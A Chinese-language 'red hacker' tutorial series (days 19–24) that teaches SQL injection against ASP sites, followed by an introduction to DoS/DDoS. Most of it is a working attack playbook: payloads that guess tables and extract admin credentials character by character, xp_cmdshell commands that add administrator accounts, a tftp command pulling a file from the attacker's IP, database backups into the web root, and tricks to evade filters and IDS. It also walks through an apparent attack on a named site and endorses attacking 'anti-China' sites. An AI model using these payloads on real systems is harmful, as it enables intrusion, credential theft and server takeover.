30天打造专业红客 『第19天』SQL注入***
在第9天到第11天我们介绍了SQL这个概念,后来因为大家反映没用(其实是很有用的,基础不好怎么晋级呢?)
今天我们就来好好说说利用SQL进行***
什么是SQL注入式***?
所谓SQL注入式***,就是***者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式***。常见的SQL注入式***过程类如:
  ⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。
⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:
System.Text.StringBuilder query = new System.Text.StringBuilder(
  "SELECT * from Users WHERE login = '")
  .Append(txtLogin.Text).Append("' AND password='")
  .Append(txtPassword.Text).Append("'");
⑶ ***者在用户名字和密码输入框中输入"'或'1'='1"之类的内容。
   ⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于***者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。
  ⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。
  ⑹ 由于SQL命令实际上已被注入式***修改,已经不能真正验证用户身份,所以系统会错误地授权给***者。
如果用户的帐户具有管理员或其他比较高级的权限,***者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表。
(对于这里有些名词如果你不太了解,请你翻阅以前的教程)
今天我们来说个很简单的用新闻页面的""&request 漏洞做的注入
在地址栏输入:
and 1=1
查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表
在地址栏:
and 0<>(select count(*) from admin)
返回页正常,假设成立了。
下面来猜猜看一下管理员表里面有几个管理员ID:
and 1<(select count(*) from admin)
页面什么都没有。管理员的数量等于或者小于1个
and 1=(select count(*) from admin)
输入=1没显示错误,说明此站点只有一个管理员。
下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。
and 1=(select count(*) from admin where len(username)>0)
猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu
用户名称字段猜解完成之后继续猜解密码字段
and 1=(select count(*) from admin where len(password)>0)
password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧
我们已经知道了管理员表里面有3个字段 id,user,password。
id 编号
user 用户名
password 密码
下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来
先猜出长度!
and 1=(select count(*) from admin where len(user)<10)
user 字段长度小于10
and 1=(select count(*) from admin where len(user)<5)
user 字段长度不小于5
慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确
and 1=(select count(*) from admin where len(user)=6)
下面猜密码,
and 1=(select count(*) from admin where len(password)=10)
猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了
下面该做的就是把他们拆开来一个一个猜字母
and 1=(select count(*) from admin where left(user,1)=a)
返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了
开始猜解帐号的第二位字符。
and 1=(select count(*) from admin where left(user,2)=ad)
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
其实猜出了前几个字母你就自己可以想像了,用到社会工程学了哟~,比如猜到了ad ,你就可以猜了
administrator,or ,admin,or ,adminstra.......这样猜的效率比较高哟!
工作还没有完,别忙着跑了,还有10位密码,呵呵
and 1=(select count(*) from admin where left(password,1)=a)
经过无数次错误之后(首先大家得有个准备SQL注入有时候就是很烦的)
htttp://host/news/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)
结果密码是administra
就这么简单,我只是举个很简单的例子,想大家应该会灵活应用,当然我还会讲多一些方法的
。今天就到这,因为这2天有点事,所以还请大家多多谅解
 
 
    30天打造专业红客 『第20天』继续说sql injection
sql injection也就是昨天说的SQL注入(也可以有其他的翻译,反正我喜欢用注入这个词)
昨天只举了个简单的例子,今天咱们来深入讨论这个吧
SQL injection可以说是一种漏洞,也可以说成是一种***方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而***原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection***。 这个昨天有提到但不全面今天我特地再说一遍。
SQL injection使得***者能够利用 Web 应用程序中某些疏于防范的输入机会动态生成特殊的 SQL 指令语句。举一个常见的例子:
某 Web 网站采用表单来收集访问者的用户名和密码以确认他有足够权限访问某些保密信息,然后该表单被发送到 Web 服务器进行处理。接下来,服务器端的ASP 脚本根据表单提供的信息生成 SQL 指令语句提交到 SQL 服务器,并通过分析 SQL 服务器的返回结果来判断该用户名/密码组合是否有效。
为了实现这样的功能,Web 程序员可能会设计两个页面:一个 HTML 页面 (Login.htm) 用于登录,另一个ASP 页面 (ExecLogin.asp) 用于验证用户权限(即向数据库查询用户名/密码组合是否存在)。具体代码可能象这样:
Login.htm (HTML 页面)
代码:<form action="ExecLogin.asp" method="post"> Username: <input type="text" name="txtUsername">
Password: <input type="password" name="txtPassword">
<input type="submit"> </form>
ExecLogin.asp (ASP 页面)
代码:<% Dim p_strUsername, p_strPassword, objRS, strSQL p_strUsername = Request.form("txtUsername") p_strPassword = Request.form("txtPassword") strSQL = "SELECT * FROM tblUsers " & _ "WHERE Username='" & p_strUsername & _ "' and Password='" & p_strPassword & "'" Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("Username") End If Set objRS = Nothing %>
乍一看,ExecLogin.asp 的代码似乎没有任何安全漏洞,因为用户如果不给出有效的用户名/密码组合就无法登录。然而,这段代码偏偏不安全,而且它正是SQL 指令植入式***的理想目标。具体而言,设计者把用户的输入直接用于构建SQL 指令,从而使***者能够自行决定即将被执行的 SQL 指令。例如:***者可能会在表单的用户名或密码栏中输入包含“ or ”和“=” 等特殊字符。于是,提交给数据库的 SQL 指令就可能是:
代码:SELECT * FROM tblUsers WHERE Username='' or ''='' and Password = '' or ''=''
这样,SQL 服务器将返回 tblUsers 表格中的所有记录,而 ASP 脚本将会因此而误认为***者的输入符合 tblUsers 表格中的第一条记录,从而允许***者以该用户的名义登入网站。
SQL 指令植入式***还有另一种形式,它发生在 ASP 服务器根据 querystring 参数动态生成网页时。这里有一个例子,此 ASP 页面从 URL 中提取出 querystring 参数中的 ID 值,然后根据 ID 值动态生成后继页面:
代码:<% Dim p_lngID, objRS, strSQL p_lngID = Request("ID") strSQL = "SELECT * FROM tblArticles WHERE ID=" & p_lngID Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (Not objRS.EOF) Then Response.Write objRS("ArticleContent") Set objRS = Nothing %>
在一般情况下,此 ASP 脚本能够显示具有特定 ID 值的文章的内容,而 ID 值是由 URL 中的 querystring 参数指定的。例如:当URL为 http://www.example.com/Article.asp?ID=1055 时,ASP 就会根据 ID 为 1055 的文章提供的内容生成页面。
如同前述登录页面的例子一样,此段代码也向SQL 指令植入式***敞开了大门。有些用户(比如我们)可能会把 querystring 中的文章 ID 值偷换为“0 or 1=1”等内容(也就是说,把 URL 换成 http://www.example.com/Article.asp?ID=0 or 1=1) 从而诱使 ASP 脚本生成不安全的 SQL 指令如:
代码:SELECT * FROM tblArticles WHERE ID=0 or 1=1
于是,数据库将会返回所有文章的内容。
当然了,本例服务器所受的***不一定会引起什么严重后果。可是如果我们变本加厉,比如用同样的手段发送 DELETE 等 SQL 指令。这只需要简单地修改前述 URL 中的 querystring 参数就可以了!例如:任何人都可以通过 “http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles ” 之类的 URL 来访问 Web 网站。
但程序毕竟是各种各样的,有些可以通过修改URL数据来提交命令或语句,有些则不行,不能打URL的主意,怎么办呢?通过修改<input>标签内的value的值也可以提交我们构造的语句,SQL injection是很灵活的技术,但我们的目的只有一个,就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。
在大多数ASP站点中,我们并不知道其程序代码,*任何扫描器也不可能发现SQL injection漏洞,这时就要*手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号,比如:
代码:
http://localhost/show.asp?id=1'
http://localhost/show.asp?id=1;
……
通过页面返回的信息,判断是否存在SQL injection漏洞,只是最简单的通过字符过滤来判断,根据IIS配置不同,返回的信息是不定的,有时显示
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/register/lostpass2.asp,行15
有时可能会显示“HTTP 500 - 内部服务器错误”,也可能显示原来的页面,也就是页面正常显示,更可能提示“HTTP 404 – 找不到该页”,判断是否有漏洞就要有个最基本的根据——经验,这个就*大家自己去领悟了。
如果能拿到源代码就更好了,可以通过分析源代码来发现ASP文件的问题,不过这要求有较高的编程功底,最近PsKey就发现了不少程序存在SQL injection漏洞。最近越发的开始崇拜PSkey了
提交数据
我们判断出一个ASP程序存在SQL injection漏洞以后就要构造我们的语句来对服务器进行操作了,一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程,xp_cmdshell是一个非常有用的扩展存储过程,用于执行系统命令,比如dir,我们可以根据程序的不同,提交不同的语句,下例语句仅仅是个参考,告诉大家这个原理,实际情况视程序而定,照搬不一定成功,下同。
代码:
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--
正如前面所说,提交这样的信息浏览器会返回出错信息或500错误,我们怎么才能知道执行是否成功呢?isno的办法是用nc监听本机端口,然后提交nslookup命令来查询,我个人觉得有些麻烦,直接用tftp来有多种好处,能知道命令是否成功执行;能获得SQL服务器的IP从而判断SQL服务器的位置;还能节省一些步骤直接上传文件到SQL服务器。利用xp_cmdshell扩展存储过程执行tftp命令,在玩unicode漏洞的时候大家就炉火纯青了吧?列如:
代码:
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'--
有时提交的数据并不一定起作用,看你怎么绕过程序的检测了,如果幸运成功的话,可以看到tftp软件的窗口出现从本机下载文件的信息了。
  对话框中的IP地址就是SQL服务器的IP,可以根据这个IP判断SQL服务器处于什么位置,和web服务器一起,在局域网内,还是单独的服务器,就自己判断了,此知识点不在本文讨论范围内,就此略过。命令执行成功以后,就可以替换单引号中的内容,添加用户、提升权限做什么都随便大家了,不过要看看连接SQL服务器的这个角色是什么组的了。
饶过程序/IDS检测
大多数时候,情况并非我们想象的那么顺利,明明字符过滤不完善,但程序或IDS检测到用户提交某个扩展存储过程或系统命令,就自动转换或拆分字符,让我们提交的数据分家或改变导致失效,怎么办呢?我记得我为了弄清如何饶过IDS检测,花了两节课的时间来思考,还写写画画浪费了半本笔记本,又因为看了Pskey的文章的提示,就产生一个思路:拆分命令字符串,赋值给变量,然后把变量组合起来提交,这样就不会分家了,下面给出两个例子:
代码:
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
有时候并不需要这样,只要把某些字符换ASCII代码,同样也可以成功执行,这个我还没有条件试,如果哪位高人有这方面的研究,请赐教。
最后,为了减轻SQL njection的危害,请限制 Web 应用程序所用的数据库访问帐号权限。一般来说,应用程序没有必要以 dbo 或者 sa 的身份访问数据库。记住,给它的权限越少,你的网站越安全!你还可以考虑分别给每个需要访问数据库的对象分配只拥有必需权限的帐号,以分散安全漏洞。例如:同是前端用户界面,当用于公共场所时就比用于具有本地内容管理机制的平台时更加需要严格限制数据库访问权限。
 
 
    30天打造专业红客 『第21天』深入SQL注入
前面我们说可以通过一些返回信息来判断SQL注入,但首先不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
http://host/showdetail.asp?id=49
http://host/showdetail.asp?id=49 ;;and 1=1
http://host/showdetail.asp?id=49 ;;and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,下面我们在来坐分析。
不过我们先来说一个问题:
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://host/showdetail.asp?id=49 ;;and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://host/showdetail.asp?id=49 ;;and (select count(*) from sysobjects)>0
http://host/showdetail.asp?id=49 ;;and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://host/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A)  ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的***技术,苍蝇不叮无缝的蛋,无论多技术多高深的***,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
       最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符)  SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字)  SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L)  SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字)  SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C  SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
       在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
       了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
好了,今天写了这么多有点累了
大家自己看看吧  我想应该可以把你这几天学的关于SQL注入的种种东西作个总结吧。头脑中应该有个清晰的认识了吧
明天我们将说如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?
明天见
忘了
想再强调一点 『特征字符的用法』
    我们在注入的时候,通常是在网址后面加 and 1=1和 and 1=2去测试网址是否能注入
如果可以注入,一般有下面两种情况:
A. and 1=1正常, and 1=2报HTTP错误,这种情况,NBSI可以自动做出判断,无需输入特征字符
B. and 1=1正常, and 1=2提示"找不到此记录"之类的提示,但不报HTTP错误,这时,就需要我们输入一个"特征字符",来帮助程序识别所传入的SQL语句执行结果是True还是False
   简单的说,"特征字符"就是 and 1=1页面中包含有而 and 1=2页面中不包含有的字符串.
 
 
    30天打造专业红客 『第22天』SQL注入***继续深化
利用系统表注入SQLServer数据库‘
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
  ③ http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
  ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。

有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的***,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在前面的SQL一般注入中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(2×××)+nchar(25143)代替。
三 经典中的经典
经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
 
 
    30天打造专业红客 『第23天』SQL注入***防线网站实例分析
以下为全文转载
今天到黑防站上去看看文章,可能出于“职业”习惯,看到?classid=1之类的东东就不由自主的想加点什么参数进去。
    当在页面http://www.hacker.com.cn/article/index.asp?classid=3&Nclassid=13加上①and 1=1和②and 1=2,都提示“处理 URL 时服务器上出错。请和系统管理员联络”,看起来象已经过滤了非法提交,IIS也关闭了错误提示,再加上一个③单引号’的时候,也出同样的错误提示,然而明显与前两个错误提示不同,因为前者显示了***防线的Logo才提示错误,后者则是一个空白的错误提示页。
    这可是我从来没碰到过的特殊情况,到底能不能注入呢?
    换个角度,从程序员的思路是怎么写这段程序的。首先,如果是用cint之类函数,那三种测试方法错误提示应该是完全一样的;如果没过滤的话,①②的结果应该是不一样的。排除了几种情况,最后觉得极可能是部分语句过滤,出现这种情况很可能是cint语句不小心放到SQL语句的后面,在SQL语句通过后,后面的语句报错。
    虽然还不很确定实际的程序是怎么写的,但可以确定,这确实是一个注入点!
    根据我写的《SQL注入漏洞全接触》,下一步就是判断数据库类型,因为错误提示都被屏蔽,只能通过系统表测试了,输入:
    http://www.hacker.com.cn/article/index.asp?classid=1 and (Select count(1) from sysobjects)>=0
    提示出错,没出现Logo,说明是语句本身有错,极可能是表sysobjects不存在,也就是说数据库是Access,再拿一个Access应有的系统表试试(msysobjects在这个时候派不上用场,因为在Web下没有权限读取,SQL语句同样不能通过,所以,必须换个有权限的表如MSysAccessObjects),果然,出现了黑防的Logo,证实数据库确实是Access。
    接下来的猜解就比较简单了,用(count(1) from admin)>=0测试出admin表存在,表中有username、password字段。本来以为下面就是用最普通的Ascii解码法猜解记录,小Case,没想到,一开始猜解,才发现这是最难啃的一块骨头:传统的Ascii对比中,无论条件是否成立,语句都是可以正确执行的,它是利用ASP的出错而非SQL语句的出错来发现错误的,在这个页面,不管你成不成立,都是显示一个Logo然后报错,根据无法做出判断。
    冥思苦想了半个钟头,终于想出一种方法,让SQL语句有条件的报错,先看看语句:
http://www.hacker.com.cn/article/index.asp?classid=1 and
(select top 1 iif(asc(mid(username,1,1))>96,1,username) from admin)>0
    写出这个语句的时候,连我自己都好崇拜我自己,哈哈,别吐,解释一下,asc(mid(username,1,1))这个都看得懂,取username第一位的ASCII码,大于96的话,select出数字1,小于等于96的话,select输出字符串username,然后,拿select出的值与0比较。
1与0都是数字型,当ASCII码大于96的时候,SQL语句不会出错;username则是字符型,当ASCII码小于等于96的时候,SQL语句会出错。所以,两种情况的出错提示是不同的,我们可以根据出错提示判断语句是否成立,从而逐步缩小每一位字符的范围,得出username的值。
于是,根据上面所说的方法,得出username的值为:chr(98)+ chr(114)+ chr(105)+ chr(103)+ chr(104)+ chr(116)=bright,password的值为chr(109)+ chr(105)+ chr(110)+ chr(103)+ chr(116)+ chr(105) + chr(97)+ chr(110)=mingtian,解码完成。
 
 
    30天打造专业红客 [第24天]DDOS***
今天我们来说说 DDOS *** 这里我不准备提供任何工具的下载地址 因为我反对不聊的*** 如果你***反华网站还差不多
其实在前几天我总结过网络***的几种形式(详见:http://www.91one.net/dvbbs/dispbbs.asp?boardID=16&ID=698) 也就几种:1。务拒绝***------死亡之ping (ping of death) 泪滴(teardrop) UDP洪水(UDP flood)
SYN洪水(SYN flood)--现在最流行的DDOS***的一种
Land***  Smurf***  Fraggle***  电子邮件×××   畸形消息***
2。利用型***
3。信息收集型***
4。假消息***
这里我就不详细说明了 大家可以参考上篇文章
当然DDOS是属于网络***里的 我是这么理解的 有的人把网络***和DDOS***连同是 不对的 虽然现在主要是才用DDOS 但也不能“抹杀”其他一些***方式的辉煌啊
要想理解DDoS的概念,我们就必须先介绍一下DoS(拒绝服务),DoS的英文全称是Denial of Service,也就是“拒绝服务”的意思。从网络***的各种方法和所产生的破坏情况来看,DoS算是一种很简单但又很有效的进攻方式。它的目的就是拒绝你的服务访问,破坏组织的正常运行,最终它会使你的部分Internet连接和网络系统失效。DoS的***方式有很多种,最基本的DoS***就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务。DoS***的原理如图1所示。
从图1我们可以看出DoS***的基本过程:首先***者向服务器发送众多的带有虚假地址的请求,服务器发送回复信息后等待回传信息,由于地址是伪造的,所以服务器一直等不到回传的消息,分配给这次请求的资源就始终没有被释放。当服务器等待一定的时间后,连接会因超时而被切断,***者会再度传送新的一批请求,在这种反复发送伪地址请求的情况下,服务器资源最终会被耗尽。
DDoS***手段是在传统的DoS***基础之上产生的一类***方式。单一的DoS***一般是采用一对一方式的,当***目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS***的困难程度加大了-目标对恶意***包的"消化能力"加强了不少,例如你的***软件每秒钟可以发送3,000个***包,但我的主机与网络带宽每秒钟可以处理10,000个***包,这样一来***就不会产生什么效果。
  这时侯分布式的拒绝服务***手段(DDoS)就应运而生了。你理解了DoS***的话,它的原理就很简单。如果说计算机与网络的处理能力加大了10倍,用一台***机来***不再能起作用的话,***者使用10台***机同时***呢?用100台呢?DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
  高速广泛连接的网络给大家带来了方便,也为DDoS***创造了极为有利的条件。在低速网络时代时,***占领***用的傀儡机时,总是会优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。而现在电信骨干节点之间的连接都是以G为级别的,大城市之间更可以达到2.5G的连接,这使得***可以从更远的地方或者其他城市发起,***者的傀儡机位置可以在分布在更大的范围,选择起来更灵活了。
被DDoS***时的现象
被***主机上有大量等待的TCP连接
网络中充斥着大量的无用的数据包,源地址为假
制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯
利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求
严重时会造成系统死机
***运行原理
